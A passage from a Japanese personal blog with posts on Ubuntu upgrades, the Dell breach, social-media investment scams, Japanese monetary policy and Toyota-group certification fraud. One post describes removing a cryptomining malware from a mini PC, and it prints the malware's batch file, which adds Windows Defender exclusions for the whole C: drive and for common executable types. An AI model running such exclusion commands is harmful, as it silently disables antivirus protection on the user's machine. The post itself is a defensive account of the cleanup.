5/11/2024

[note] Ubuntu24.04LTSリリース、いつになくやばげ?

UbuntuのLTS版、24.04がリリースされています。 

しかしこれが長らく見なかった位に不具合の恐れがてんこ盛りのリリースらしいのです。何でも、time_t型の64bit化のために大量のリビルドが発生し、それに伴うデバッグ等の検証修正が満足に行われていない様子なのですね。リリース直前までまともにパッケージが揃っていなかったとか、インストールやアップグレードが失敗する状態だったとかいう信じがたい話も聞こえてきます。

当然ながらLTS版はサーバー等の基本不具合等が許されない環境で使われるものなわけで、それがこの状態というのではとてもアップグレードする気にはなれません。恐ろしすぎます。

それに加えて、インストーラ等の刷新も加わっているというのですから、尚更です。失敗する気しかしません。以前snapが入った時にサーバーのアップグレードが上手く行かず、何度もやり直して四苦八苦した時の事を思い出しました。あんな怖い思いは出来れば二度としたくありません。

というわけで、今回はアップグレードを見送ります。勿論LTS版につき最終的には上げざるを得ないだろうのですが、通常通りなら夏頃に修正版が出る筈なので、それが出て、かつ問題ないと確信出来てからにしようと思います。

<追記>

修正版がリリースされました。 が、アップグレードプログラムに深刻なバグがあり、数日後に一旦取り下げられてしまいました。通常のコマンドからは22.04LTS->24.04.1LTSのアップグレードが出来なくなっています。駄目だこりゃ。

[note] Ubuntu24.04.1のリリースが延期、やはりヤバい模様

[note] Ubuntu24.04.1がようやくリリース

5/10/2024

[IT biz] Dellの顧客情報漏洩のお知らせが責任逃れ一色な件

やりやがった。そしてやられました。

先程、[Dellからの重要なお知らせ]とかいう怪しげな題名のメールが届いたのです。

詐欺かと疑いつつヘッダーを確認したところ、経路情報等からして珍しく本物らしかったので内容を確認したのですが、以前利用した際の私の個人情報が漏洩した、との極めて残念なお知らせでした。

調べてみると、2017年から2024年の間に利用した顧客の情報約4900万人分が漏れたそうです。私はその間にノートPCを購入していたので、ばっちり該当しています。

Dell曰く、漏洩したのは下記の情報だそうです。

・氏名

・所在地

・Dell製ハードウェアと注文情報

 (サービス タグ、製品説明、注文日、関連する保証の情報など)

併せて、財務情報・支払情報・Eメールアドレス・電話番号・その他機密性の高いお客様情報は含まれていない、との注意書きがありました。

つまり、Dellとしては氏名と所在地は機密性が低い、と主張しているわけですが、勿論そんなわけはなく、個人情報保護法に規定されている、保護されるべき個人情報に該当します。そして、Dellのような企業がその顧客情報(のデータベース等)をマーケティング等事業活動に利用していないわけはありませんから、諸々の規制の対象に該当する事にも疑問の余地はありません。漏洩時の個人情報保護委員会への報告義務等も発生している筈ですし、行政処分の対象になる可能性も否定出来ないものと思われます。

なのに、当該メール中では、一貫して「影響を受けた情報は限定的」で、「お客様への重大なリスクはないと考えています」等として問題を矮小化しようと詭弁を弄しています。謝罪はおろか、非を認める言葉すら一言もありません。

さらに、[Dellの対応]の項目では、調査・(今後の)対策・法的機関への通知を行った旨を告げ、「今後は状況を注視する」としています。要するに、顧客が被る損害に対する責任は何も取らない、というわけです。

まさしく無責任という他ありません。

何がどうすれば、こんな不誠実な対応が出来るのでしょうか。顧客の大半は納得しないでしょう。私も納得していません。強い憤りを覚えています。二度とDellとの取引はしないと思う位に。そんな人は他にも沢山いるでしょう。多分に、被害に遭った4900万人の相当割合がそう思っているのではないでしょうか。全く以て不愉快な話です。

Dell discloses data breach of customers’ physical addresses

4/25/2024

[IT] SNS上の投資詐欺について

ここ最近、Facebookや旧Twitter等のSNS上での投資詐欺について盛んに報道されています。

それ自体は以前からありふれた話でしたが、有名な企業経営者や起業家、また投資家等を騙るものが頻発したために、騙られた側の有名人側がSNSの運営側を非難したり、対応が不十分だとして訴える等の積極的な行動に出るのに併せ、各種メディア上で個別に一種のプロパガンダ的な発信をし始めたのがきっかけとなって広く報道されるようになったようです。

個々の詐欺の内容自体は以前からあったものと何ら変わりません。要するに非現実的なレベルの収益率を示して容易に莫大な利益が得られると騙り、投資資金もしくは手数料と称して金銭を騙し取るだけの話です。率直に言って騙される方がどうかしている、と言わざるを得ない程の使い古された稚拙なものです。

今回の詐欺は、それに著名な投資家の肩書がついただけで、勿論内容を見れば嘘だとすぐに分かります。専門知識など要りません。にも関わらず、それに騙される人が後を絶たないと言うのです。欲に目が眩む人というのは何時の時代も変わらず多いのですね。信じがたい事ですが。

昔なら、そういうリテラシーの低い人と詐欺師の接点があまりなかったために起こらなかっただろう被害が、SNSという個人同士が容易に濃密な情報のやり取りを行える場を得て顕在化してしまったのが現状という事なのでしょう。その意味では時代的に必然の結果だとも言えそうです。

その必然的な現状に対し、SNS業者等は否応無しに対応を求められているわけです。彼らは勿論この種の問題について昔から把握していたでしょうし、おそらく今のような、被害が看過出来ない程に拡大し、抜本的な対処を社会的に迫られる事態も想定していたでしょう。ですが、実際にはなかなか対応は出来ていないようです。そして、それを非難されている。サービスの管理運営者として、またそのサービスから収益を得る者として、責任を負っている以上はある程度はそれも仕方ないのでしょう。実際問題として、彼らがシステム的に対処する以外に有効な手段がないというのも事実です。

ただ、今回の話で一義的に非難されるべきは詐欺師です。SNSはあくまで不特定多数が相互に自由なやり取りをするコミュニケーションの場であって、SNS事業者は、その場上で行われるコミュニケーションの内容には原則として中立であるべき立場にあります。通信の秘密や表現の自由の観点からは、内容には立ち入るべきではないし、その義務があるとも言えます。

言い換えれば、SNS事業者による介入は、必然的に検閲の性質を帯びるのです。とりわけ、今回問題になっているような投資詐欺への対処のためには、個別のやり取りの内容をリアルタイムにチェックし、詐欺行為が行われているかどうかを判断する必要があります。

著名人を騙っているかどうかを判断するにも、前提として投稿される全ての画像や音声等を解析し、かつそれぞれの投稿者の素性を調べておき、本人かどうかを照合する必要があります。まさしく検閲です。

疑わしい場合のみチェックすればいいじゃないかと言う人がいるかもしれませんが、疑わしい場合というのを洗い出す時点で、全ての投稿データを調べる必要があるのです。調べなければ、疑わしいかどうかもわからないのですから。

当然、その処理には莫大なリソースが必要です。悪名高い中国の検閲システムと同等かそれ以上の事をしようというのですから当然です。国家権力の裏付けのない一民間事業者には、地理的な優位性も、SNS外のユーザーのバックグラウンドデータ等もありません。そもそも個別のデータをチェックし、詐欺かどうかを判断するのにも、技術的にも著しい困難を伴うでしょう。

NGワードを設定すれば済むような話ではないのです。通常の投資関連の話題と投資詐欺を正確に区別し、かつ厳密な本人確認もしなければなりません。完全な対処はおよそ不可能で、典型的なパターンをフィルタリングする経験的方法による対処もいたちごっこになるのは目に見えているし、事実上不可能と言ってもいいかもしれません。なお汎用的なAIは正確性が不十分なため、補助的にしか使えません。

 つまり、SNS上での投資詐欺へのシステム的な対処は、法的な面と技術的な面の両方で容易ならざる障害を抱えていると言えるのです。対処がなかなか進まないのも無理からぬところと言うべきでしょう。

今回の件で著名人やそれに倣うメディアはSNS事業者を非難しています。対応が遅い、甚だ不十分だ、等として。しかし、上記のようなSNS事業者の置かれた立場とその困難さを考えれば、それは理不尽な要求であり、やってはいけない事だと思うのです。あくまで要望のレベルに留めるべきでしょう。

詐欺行為に自身の名前や画像を利用される著名人の方々が不満を覚えるのは当然の事だとは思いますし、それにメディアが同調するのも自然な事だとは思いますが、詐欺を行っているのはあくまで個々の悪意あるユーザーであって、SNS事業者ではないという前提を改めて認識する必要があるのではないでしょうか。

個人的には、あの程度の、およそありえない投資話に騙されるようなアホな人を減らす方が現実的だと思いますね。あと、詐欺師を積極的に摘発するとか。

そういう事を思うのです。

3/20/2024

[biz] マイナス金利政策終了で開く地獄の釜

ようやく。長きに渡り続いたマイナス金利が終わりました。もっとも、事実上は既に終わっていて、それを今回ようやく追認したというだけの事なのですけれども。

当初は異次元の金融緩和の一環として、短期間の例外措置という体で始まった同政策ですが、その目的であった経済の成長が全く得られないまま、従って止め時を見失い、失敗を認められない政府・日銀の無能によって、延々と続いていた事は誰もが知っている通りです。

得られたものは株式等のバブルだけと言っても過言ではないでしょう。

一方、債権市場の機能喪失をはじめ、ゾンビ企業の大量発生に各種のバブル等、その副作用により決定的に取り返しがつかなくなったものの大きさも尋常なものではありませんでした。ただ、これだけ長く続けばそれも恒常的なものとなり、表面的にはそれなりに安定を見せるようになっていたのも事実です。バブルが安定というのもおかしな話ですが。

しかし、その歪で危うい安定もとうとう終わります。

原因は複合的ですが、直接の原因はインフレと言ってよいでしょう。ただ、目標としていた経済成長に伴うそれではなく、世界的な物価高と円安の二重要因による単純な物価上昇です。それによる国内経済への影響、特に国内消費の減少は既に深刻なレベルにあります。もはや輸出の増加では補えないほどに。

この状況を作り出した張本人である故安倍元首相と黒田元日銀総裁は、既に退場しました。安倍元首相が暗殺された事が、この異常な経済政策を終わらせる契機になった事に疑いの余地はありません。逆に言えば、氏が退場させられる事がなければ、今もまだマイナス金利は続いていた事でしょう。

それが良い事だったのか、悪い事だったのかは誰にもわかりません。個人的には、ここまで諸々の債務が膨張し、売ることも出来ない資産を日銀が抱えて身動きが取れなくなってしまっていては、多少時期が前後したところで大した違いはないだろうと思いますが。

ところで、マイナス金利解除の影響はどういうものでしょうか。既に各所で山ほど議論されているように、その予測は非常に困難です。言うまでもなく、各種の要素が絡み合って、時に増幅したり反発したりで混沌的な挙動を見せる関係にあるからです。例えば以下のような。

・円金利上昇=円の価値上昇

 主な影響 円高・円建て資産の価値上昇

      輸入コスト減・輸出減・国内物価低下・消費増

・資金調達コスト上昇 

 主な影響 投資減・経済活動縮小・倒産増・不動産市場縮小・バブル崩壊

      債権価値減

      金融機関増収(利息のみ)

上記の項目だけを見ても、各種の資産や通貨の価格への影響はプラスに働くものとマイナスに働くものが混在している事は明らかです。例えば、金利上昇により通貨単体として見た円の価値は上がりますが、国内経済の縮小や債権の価値下落(の見込み)によって経済活動と結合した資金としての円の価値は下がります。また同時に、消費の増加により資金としての円の価値は上がる側面もあります。さらに、為替市場を通じて投機的な動き等も加わりますし、貿易を行う企業はそれぞれレートを一定期間固定して実質的に独自の金利を用いた取引を行います。

本来なら、金利はその予測も制御も困難な経済活動を規律するための数少ないツールとして決定的な役割を果たす筈のものだったのですが、その喪失を政府・中央銀行が自ら進んでやってしまっていたのです。日銀があの状況、政府も債務で押しつぶされそうな現状にあっては、今更その機能を取り戻す事が出来るのかすら怪しいでしょう。

特に資金調達コストの増加は、およそ全ての商取引の現場に甚大な影響を及ぼします。長らくほぼ0だったものがそうでなくなるとなれば尚更です。

ゼロ金利解除と言っても、当然ながら金利が上がれば、1000兆円を越えて積み上がったあの国債残高は利払い費という形で政府の支出を破滅的に増大させます。他国のように数%の水準にまで上げる事は極めて困難というか、そこまで上がった時点で既に財政は破綻しているでしょう。1%の利払いにつき国家予算の1割超を持っていくのですから、数%となれば利払いだけで当然に支出の半分とかになります。無理です。借り換え前に償還すればいいと言うかもしれませんが、それはそもそも不可能です。

当然、その引受を担っている日銀も道連れになります。つまり国家の財政部門は崩壊します。従って、逆に言えば、破綻を避けるために金利は上げられない筈です。実際、それこそがこれまでマイナス金利が維持されてきた主たる理由なのですし。

しかし、だからと言って、例えば1%以内等の低水準に留めておけるものでしょうか。海外各国は当然のようにそれを遥かに超える水準にまで利上げをし、それでもインフレを制御出来ていないというのに。繰り返しますが、経済活動は元々制御困難なものです。今回の措置に追い込まれた原因たるインフレ等の流れが、金利を少々上げただけで落ち着くと楽観できる根拠は何もありません。

金利を本格的に上げる他に術がない、という残酷な現実が明らかになった時、政府・日銀は、どうするのでしょうか。何が出来るのでしょうか。何も出来ないのでしょうか。

要するに、溜まりに溜まったツケを払わされる時が、迫っているのかもしれません。

[gov] 日銀がゼロ金利放棄

2/01/2024

[biz] トヨタ本体も消えそう

・・・と言ってしかるべき状況になったわけですが。 

流石の影響力というか資金力というかスポンサー力というか。日野・ダイハツの場合と比べ、非難・追求の動きが明らかに鈍いようです。

今回不正が発覚したのは豊田自動織機で、内容は前2社と同じく検査不正、すなわち性能偽装による認証の不正取得です。対象のディーゼルエンジンを搭載する10車種が生産・出荷停止となり、その中にはランクル・ハイエース等の主力車種が含まれています。特にハイエースはトヨタを代表する主力中の主力です。やっぱりというか、ついに来たかとかいう感じがしますね。

豊田自動織機は形式的には子会社ではありますが、周知の通りそれは形式的なもので、実質的にトヨタ本体の一部、すなわち今回の件はトヨタ本体の不正と言えるものです。対象車種からもそれは明らかです。

そして、不正の内容やその原因たる企業体質等はまず間違いなく日野・ダイハツの場合と同様であろうと思われるわけです。というか、2社の体質等はトヨタ本体の体質・方針が波及したものと考えるべきでしょう。本体が子会社を支配し、人事権や組織の編成権も握っている以上、その逆はあり得ませんし、2社が本体の影響を受けず独立に同体質になったというのはもっと考えられません。

まあ、ぶっちゃけ日野とダイハツのあの上から下まで腐り切った状態を見せられて、その親玉であるトヨタ本体は違うと思える人なんて、最低限の認知・判断能力さえあればありえないでしょうけど。 やっぱりね、と納得するだけの事です。

そうである以上は、トヨタ本体も当然に日野・ダイハツと同様の末路を辿って然るべきなわけです。少なくとも、そうでないと考える理由はなく、そうだろうと予想する理由・前例は既に十分です。

そもそも、今回対象になった豊田自動織機はトヨタの巨大な開発部門のごく一部に過ぎません。その他の各子会社や本体の開発部門・検査部門等でも同様の不正はまず間違いなくあったでしょう。少なくともその疑いは非常に強い。これから広範に捜査・摘発がなされて然るべきだし、そうなれば山ほど違法行為が発覚するだろうと思われます。当然予想される結果として、世界有数かつ国内トップの生産台数を誇る自動車メーカー、その生産の全部とまではいかずとも、相当部分が停止する事になるものと思われます。信用も失墜します。

その影響は言うまでもなく甚大です。トヨタ側も役員・部門・各社員共に保身に走るだろうし、利害関係者は追求に及び腰にもなるでしょうね。何しろ自分が失職したり、会社・部門が潰れたりする可能性があるわけですから。トヨタレベルの得意先が消滅でもすれば、立ち行かなくなる会社も多々あるでしょう。

お得意様No.1の攻撃に及び腰になったメディア各社はじめ、国交省や財界、全国・全世界に散らばる数多の取引先等がこぞって忖度という名の擁護・自己防衛に励む姿が目に浮かぶようです。

クソ喰らえです。スペックの偽装などという自動車メーカーとして絶対にやってはいけない犯罪を組織ぐるみで犯し、それが一部発覚してなお改めようとしない姿勢は到底容認できるものではありません。お得意のカイゼン、その対象は自分の目先の利益になる事だけだったようです。

そうであれば、この惨状も、TPSの結果と言えるのでしょう。果てしなく思えたカイゼンの行き着いた先が粉飾まみれ、犯罪組織になっての破滅とは、皮肉が効き過ぎてませんかね。

それを擁護するメディア・政財界・取引先等も同罪と言う他ありません。ユーザーや社会の事なんかよりトヨタ様の方が、正確にはトヨタ様との商売の方が大事って事なんでしょう。そんなに大事なら、一緒に破滅すればいいと思います。

[biz] 日野に続いてダイハツも消えそう

[biz] 日野自動車、全車販売不能・・・まさか廃業? 

12/21/2023

[biz] 日野に続いてダイハツも消えそう

ダイハツがやらかしてくれましたというか、やり続けていた事が明るみに出たというか。多分にご臨終のようです。

詳細は省きますが、近年の同社製自動車のほぼ全車種について、衝突時のエアバッグの動作試験等の安全性関連を含む認証試験で、テスト車に細工したり結果をすり替える等の重度の不正が行われていた事が確認されてしまいました。本件はリコールで対応出来るところの生産レベルの問題ではなく設計レベルの問題のため、あえなく現行全車種の生産販売の停止に追い込まれ、当然ながらその解決の目処は立っていません。というかこれから本件にどう対応するのか、その目星すらついていません。少なくとも長期間、生産販売含め事業がほぼ完全に停止する事は避けられないでしょう。トヨタグループの軽自動車部門として長年トップシェアに君臨し続けた同社ですが、突如として存亡の危機に直面してしまいました。

本来なら、リコールで対応すべき所、なのですが、そうもいきません。認証試験で不正をした、という事は、つまり設計・開発の時点でその認証試験をパス出来ないものだという事で、それを解消するには、設計レベルで修正が必要なわけです。それには少なくとも一車種あたり数年はかかる事が確実だし、規模が規模なので、修正したとしても生産もできません。安全性の部分が含まれているので、国交省としては特例等で販売分は問題なし、とか出来るわけもないでしょうし。だとすると、普通に考えれば金銭で賠償する他ないという事になるのでしょうが、それはそれで額が莫大すぎて、ダイハツを潰しても払えない、という。どうしたものでしょうか。

原因は、非現実的な短期間での開発スケジュールの強制との事。自動車は新型車の方がよく売れる事と、単純に開発期間が短ければそれだけ開発費が少なくて済むため、開発期間を削れば削る程、車種あたりの利益は跳ね上がります。当然、経営側は限界まで削ろうとするわけですが、新車種が新車種たるためには何らかの技術的進歩が求められます。燃費の改善はもとより、居住性や利便性、安定性、視界の広さ等等。加えて原価の低減も求められます。ご自慢のトヨタプロダクションシステムのカイゼンというやつです。

その中で、最重要なのは燃費改善と低原価の2点でしょう。これに最も効果的なのは軽量化です。軽量にすればするほど、つまりフレーム等の鋼材を削れば削る程、燃費も価格も下がります。しかし、当然ながら安全性も低下してしまいます。長年開発を続けていれば、出来る事はやり尽くしていて、改善の余地など殆ど残っていないでしょうから、そのトレードオフは、これ以上やったら十分な安全性を担保できない、というところまで行き着いているだろう事は容易に想像できます。技術的な頭打ちというやつです。

でも、技術的にもう無理だ、となっても、それまでのカイゼンの成功に味を占めた経営側は、それまでと同レベル以上の開発成果を求めるのです。最初の内は無理をすれば何とか出来るかもしれません。しかし、何とかする毎に越えるべきハードルは更新されていきます。ハードルが下がる事はありません。加えて開発期間は短縮され、只でさえ実現困難なそのサイクルが早まる、すなわちハードルが上がる速度も加速する。すぐに不可能に行き着きます。しかしカイゼンの要求は止まりません。技術的に不可能な要求が果てしなく繰り返されるようになるわけです。開発部門にとっては絶望的と言う他ないでしょう。

技術的に不可能なら、取れる道は2つだけです。その事実を経営側に断固として主張し、開発目標を拒絶するか、出来もしないのに出来る、出来たと嘘をつくかです。本来なら前者を選び、不可能な目標を捨て、現実的に達成可能な目標を模索すべきところですが、ダイハツの開発部門は後者を選んでしまった、というわけです。

同情すべき点がない、とは言いません。経営側からの要求を撥ね付ければ、多分に部門自体が無価値とされ、職を失う可能性があり、そうでなくとも、事業ひいては会社の存続等を盾に取ったパワハラというのも生易しい程の無責任な非難にさらされ、叱責され、追い詰められるだろう事は目に見えています。声を上げた者に代替案を出せ等と責任が押し付けられる、というような理不尽な事も企業ではよくある話です。そんな中で、出来ない、と毅然と主張し、その姿勢を貫く事は困難極まりない事でしょう。

しかしです。それでも酌量する事は出来ません。彼らは、安全性に関わる部分の試験までも粉飾の対象とし、事故の際にユーザーの命を守る事を放棄しました。何か間違いがあれば容易にユーザーの命を奪う自動車の、その命を守るための安全性の担保は、そこだけは何があろうと自動車メーカーの開発部門として絶対に放棄してはいけない部分です。それを放棄したダイハツ、その開発部門には、もはや自動車を作る資格がないものと断ぜざるを得ません。

この状況を作り出した経営陣はさらに罪が重い事は言うまでもありません。こんなに長期間、広範に不正をせざるを得ない状況にあって、開発部門が全く状況を経営層に伝えなかったなどという事はあり得ないし、ありえませんが仮に全員が揃って全く状況がわからなかったと言うなら、それは経営層の全員が自社の事業の実態を一切知らないと言うに等しく、経営者としての最低限の責務を完全に放棄した、無能という表現では到底足りない、背任者だという事なのですから。組織としても破綻しています。

結局のところ、ダイハツがやった事は自動車製造会社として致命的で、規模、態様ともに救いようがないと言う他ありません。はっきり言えば、ダイハツは潰れるしかないのでは、とも思うのですが、国内有数の巨大企業ですから、言うまでもなくその影響は甚大です。潰してはいおしまい、というわけにはいかない。日野の例に倣えば、国内の他社、つまりスズキホンダ日産のどれかに買収される事になるんでしょうか。いずれにせよ、本件は不正がユーザーの命に直接関わる点で日野より悪質なので、もうどうしようもないでしょうね。残念です。

11/21/2023

[note] Ubuntu23.10にアップグレード

半期に一度の恒例行事です。

今回のバージョンは23.10、コードネームはMantic Minotaur。占い師のミノタウロスさんです。 また空想の世界に飛んでしまいました。ミノスの怪物が占いとか意味がわかりません。むしろ妄想?

更新内容は、重要なものはほぼServer版のみで、Desktop版については殆ど変化なしですね。update-managerからいつものように更新実行、程なく完了です。

ざっと動作確認。結果、サウンド問題なし、グラフィック・フォント問題なし、日本語入力問題なし、ウィンドウ位置問題なし。基本部分は何も問題ありませんでした。いつもこうであってほしいですね。

なお、これはどうでもいい話ですが、カードゲームのSolitaireの見た目が変わっています。元々は昔ながらの、Windowsで言えばXP以前のドットのはっきりした素朴なトランプの絵が採用されていたのですが、今回のバージョンからWin7以降のグラデーションを効かせたモダンな見た目に変更されていました。見た目だけの話なのでどうでもいいんですけど、Linuxでもそういうところを気にするようになったんですね。遅まきながらの変化を感じます。中身の仕様変更は困りますが、こういう変化なら多分一般ユーザーにも受け入れられやすくなる方向だろうし、歓迎したいと思う次第です。

というわけで今回はここまで。

11/03/2023

[PC] 中華ミニPCのウィルス感染発覚とその対処について

先日、いわゆる中華系の安価なミニPCを買ったんですけれども。これがウィルスに感染していたのです。いや正確に言えば購入時から感染していたのか、使用するうちに感染したのかは不明につき、"していた"と言えるかはわからないのです。しかし、似たような使い方をしていた他のPCでは長年に渡って感染した事はありませんでした。という事は本機に特有の原因があった筈であり、また購入間もない事からして、おそらくは購入当初から感染していたか、バックドアの類が仕込まれていた可能性が極めて高いだろうと思われるのです。やれやれです。というわけでその内容と対処の経緯をメモ。

対象のPCは、TRIGKEY G3のメモリ8GB、SSD256GB版。CPUはN5095、Jasper Lakeです。今となっては型落ちの、しかも売れ筋だったN5105より下位グレードのものですね。今まさに人気沸騰中なN100等のAlder-Lake Nと比べると数割程度も処理能力が劣ります。とは言っても、Atom系列のCPUはJasper Lakeを境にmeltdown等の影響も概ね脱し、性能も飛躍的に伸びていますから、N100では出来るけれどN5095では出来ない、なんて事はほとんどありません。メインはLinuxな私ですが、Windowsのサブ機にちょうどよさそうだし安くなったら更新用に一台確保しておいてもいいかな、と思っていたのですが、それが数ヶ月前、まさにAlder-Lake N搭載機の登場でJasper Lake機が型落ちになったタイミングで投げ売りされて、捨て値と言うべき1.1万円位にまで下がっていたので購入したわけです。OSがWindows11Proだったので、そのテスト機も入手出来た、という事で都合が良かったのですね。ライセンス的には大丈夫なのか、という気もしますが、まあもし駄目になったらその時はLinuxにすればいいや、と。

使ってみると、予想通り性能面ではほぼ問題はありませんでした。もちろん重い画像処理や科学計算、3Dゲーム等は出来ない事もありますが、逆に言えばそれ以外は特にストレスもなくこなせます。というわけでそれなりに気に入り、BIOSが特殊かつ旧式で思うように設定出来ない等の細かな不安は抱きつつも、サブ機として時々触る程度ながら気持ちよく使っていたのです。

しかし、しばらく経った頃、妙にファンがうるさい事に気づいたのです。触ってみると明らかに熱い。温かいではなく、触り続けていられない位に熱い。最近のAtomラインのSoCは発熱が割と多いとは聞いていましたが、それにしても熱すぎました。処理能力を目一杯使うゲームをしている時等ならいざ知らず、動画の再生等をしているに過ぎない時でも、すぐにファンが回りだすのです。そもそもTDPは15Wなのに。

これは明らかにおかしい、というわけでタスクマネージャを見てみると、あにはからんや、見慣れないプロセスがCPU使用率トップに張り付いています。プロセス名は[Extended Copy Utility]、実行ファイルはxcopy.exe。これが常に30%から50%程度回り続けていたのです。

xcopy.exeと言えば、DOS時代からあるファイルコピーコマンドの拡張版です。昔は標準ではなく、しかしディレクトリのコピー等をするには必要だったのでわざわざ入れたりしていました。当然ながら、これの実行時に消費されるのはストレージの転送帯域で、CPUなど殆ど使われません。本来ありえない状態です。

加えて、当該プロセスをタスクマネージャから強制停止しても、すぐに復活します。単なるコピープログラムではありえない挙動です。これでxcopy.exeがウィルスプロセスである事が確定した、というわけです。以下は分析と対処です。

実行ファイルの所在地を見てみると、C:\Windows\WinSとなっていました。もちろん正規のフォルダではありません。その中には以下の4つのファイルが入っていました。

[ウィルス実行ファイルフォルダ(C:\Windows\WinS)内容]

 xcopy.exe (7.96MB)

 wd.bat (383B)

 WinRing0x64.sys (14.2KB)

 wmpnetwk.exe (323KB)

この内、xcopy.exeがウィルスで、wd.batはWindows Defenderのチェック範囲から本フォルダやexeファイル等を除外する設定を加えるバッチファイルです。残り2つの役割はよくわかりません。おそらくこれらも偽装されたウィルスの一部なのでしょう。なお、ウィルスがxcopy.exeの名前を騙るのは割とよくある話なんだそうで。元々標準ではなく、後付で入れる事が多いプログラムであり、ウィルスの感染経路・偽装先として適していたからってことなんでしょうけど、迷惑な話ですね。

それでこのxcopy.exeは何かと言うと、仮想通貨のマイニングを行うウィルスなんだそうです。英語ではminer virus等と呼ばれているようです。トロイの木馬の一種ですが、基本的には情報の流出やランサム的な挙動をする事はなく、ひたすらCPUの演算リソースを食いつぶすタイプのウィルスです。だから発熱するんですね。ウィルスの中ではまだおとなしい方と言えなくもないでしょうけれど、当然ながら電力は無駄に消費するし、熱がPCの寿命を縮めもします。有害なものには違いありません。というわけでさっさと対処します。

まず、現在実行されているウィルスを止めます。なお、以降の処理(コマンド入力等)は管理者権限が必要なので、管理者権限で起動したコマンドプロンプト(Powershell)上で実行します。

[ウィルスの停止]

 1. 実行ファイルの削除(もしくは名称変更・移動等)

  xcopy.exeを削除します。もしくは適当な別の名前(xcopy_virus.exe等)に変えます。

  その他の3ファイルも同様に。

 2.タスクマネージャからxcopy.exeを停止

  [プロセス]タブから、[Extended Copy Utility]を選択、[タスクの停止]を実行

 3.プロセスが復活しない事を確認

  タスクマネージャ上で、[Extended Copy Utililty]が復活してこなければ成功

以上でとりあえずウィルスの活動は阻止出来ます。が、これで終わりではありません。本ウィルスは、おそらく自身がWindows Defenderに削除されないよう、Windows Defenderにスキャンの除外設定を加えています。そのため、このままだと新たなウィルスの感染を防止出来ず、再発の危険も高いままです。これを修正しておく必要があるのです。

Windows Defenderにどのような設定が加えられたかは。wd.batに記載されています。というか、wd.batによって設定変更が行われたものと思われます。その中身は以下の通りです。

 [wd.bat]

 @echo off

 @powershell.exe Add-MpPreference -ExclusionPath C:\Windows\WinS

 @powershell.exe Add-MpPreference -ExclusionPath C:\

 @powershell.exe Add-MpPreference -ExclusionExtension ".exe"

 @powershell.exe Add-MpPreference -ExclusionExtension ".zip"

 @powershell.exe Add-MpPreference -ExclusionExtension ".bat"

 @powershell.exe Add-MpPreference -ExclusionExtension ".sys"

おわかり頂けたでしょうか。これらは要するに、C:\Windows\WinSとCドライブをスキャン対象から除外し、さらにそれ以外の場所にあるexe,zip,bat,sysの各ファイルもスキャン対象から除外する、というものです。事実上Windows Defenderが無効化されるに等しいものですね。確認のため修正前にWindows Defenderのスキャンを実行してみましたが、スキャンの種類(クイック・フル等)を問わず、スキャンが一瞬で終わるようになっていました。無防備そのものです。

上記の除外設定をそれぞれ逆の処理、すなわち除外リストから削除するコマンドを打って修正します。具体的には以下の通り。管理者権限ありのPowershell上で行います。

[Defender設定修復コマンド]

 $ Remove-MpPreference -ExclusionPath C:\ 

 $ Remove-MpPreference -ExclusionPath C:\Windows\WinS

 $ Remove-MpPreference -ExclusionExtension ".exe"

 $ Remove-MpPreference -ExclusionExtension ".zip"

 $ Remove-MpPreference -ExclusionExtension ".bat"

 $ Remove-MpPreference -ExclusionExtension ".sys"

以上で修正出来ます。実行後、[設定]から各種スキャンをして、スキャンが正常に行われる事を確認し、問題なくスキャンが実行されるならOKです。

ただ、私の環境では、除外設定修正後も、スキャン対象に含まれた筈の上記xcopy.exe(名前は変更)等はウィルス判定されませんでした。おそらく、これらのファイルは、ウィルス一般によく見られる自己複製やファイルの改変等の各種の悪意ある(と判定される)処理を行わず、マイニング処理に特化しているため、現バージョンのWindows Defenderからは通常のマイニングプログラムと判定されているのではないかと思われます。だとすると、wd.batの除外設定は本ウィルスにとっては不要なもので、無駄にPCを危険に晒すものと言えるわけですが。。。なんか間抜けですね。うーん。 

今回やった事はこれで終わりなのですが、一点だけ心残りというか、不明な点が残っています。何かというと、ウィルスプログラムであるところのxcopy.exeが起動されたルートがわかっていない点です。タスクマネージャのスタートアップ、ユーザのスタートアップフォルダ、レジストリのスタートアップを確認し、不要なものは無効にしておきましたが、確実にこれだという確証は得られていない状態なのです。

一番可能性が高いだろうのは、Realtekのオーディオ関連アプリへの偽装でしょうか。レジストリ上のスタートアップ(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run)に、当該アプリ(RAVCpl64.exe)を起動する設定があったのですが、その実行プログラムがある筈のフォルダを見てみるとこれが空だったのです。推測するに、このアプリがウィルスのブートかバックドアの窓口役を担っていて、しかし上記の対処の過程でWindows Defenderのスキャンにより削除されたのではないかと推測しているのですが、今となっては確認も出来ません。原因がわからない、というのはやはり気持ち悪いですね。

ともあれ、以上でウィルスの除去とDefenderの設定修正は完了です。

その後、しばらく様子を見ながら使用してみましたが、ウィルスが復活する事はありませんでした。低負荷動作時にファンが回る事もなくなり、至って静かになったのです。これが本来の姿でしょうし、一安心です。

ただ、静かではあるのですが、発熱はそれなりにしますね。触り続けられない程ではありませんし、ウィルスが動いていた時と比べれば随分とマシなのですが、それでも触ると熱いです。まあ、これが購入前の評判で見聞きしたところの、結構発熱する、という事なのでしょうし、正常な事なのでしょう。しかし、以前のAtom機で見られたような、ファンレスが当たり前に可能だったのと比べると、SSDはもちろん、その他の部品にもダメージは大きそうで、耐久性に不安が残るのはやはり残念ではあります。そこら辺は安かろう悪かろうという事で割り切るしかないのかもしれませんね。ともあれ、今回はこれでおしまい。

8/25/2023

[pol] 信用がないから愚かなのか、愚かだから信用がないのか

アホだアホだとは思っていましたが。。。今回の件は流石に呆れ果てました。

福島第一原発の冷却水、放射性物質としてはトリチウムのみを含む通常の冷却水ではなく、メルトダウンに伴い放出され続けているセシウムやストロンチウム等の一次的な放射性物質を含有した重度の放射能による汚染水を、一応ある程度処理した、として処理水と東電・日本政府が呼ぶところの液体を、近隣諸国及び近辺の漁業関係者中心に多数が明確に反対する中、海洋放出を強行するに及んだ本件ですが。

当然の結果として、予想通りに韓国・中国では日本産の海産物の不買・禁輸等が実施されました。それによって経済的な損害を被る国内の漁業関係者をはじめとする利害関係者からは、予想されたその被害を防ぐ手立てを何ら講じる事もなくただ漫然と放出の強行に及んだ日本政府へと非難が集中しています。

そして、非難を逸らそうとでもいうつもりなのか、日本政府は、禁輸の解除を中国等に要請したとされています。放出を続けたままで。その要請は当然ながら拒否というか無視されました。

